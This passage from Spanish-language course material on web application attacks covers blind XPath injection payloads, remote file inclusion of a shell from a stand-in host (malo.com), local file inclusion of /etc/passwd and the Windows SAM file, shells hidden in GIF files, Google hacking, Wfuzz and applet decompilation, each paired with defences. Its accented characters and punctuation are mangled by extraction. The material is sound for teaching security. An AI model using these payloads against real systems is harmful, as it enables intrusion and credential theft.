or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
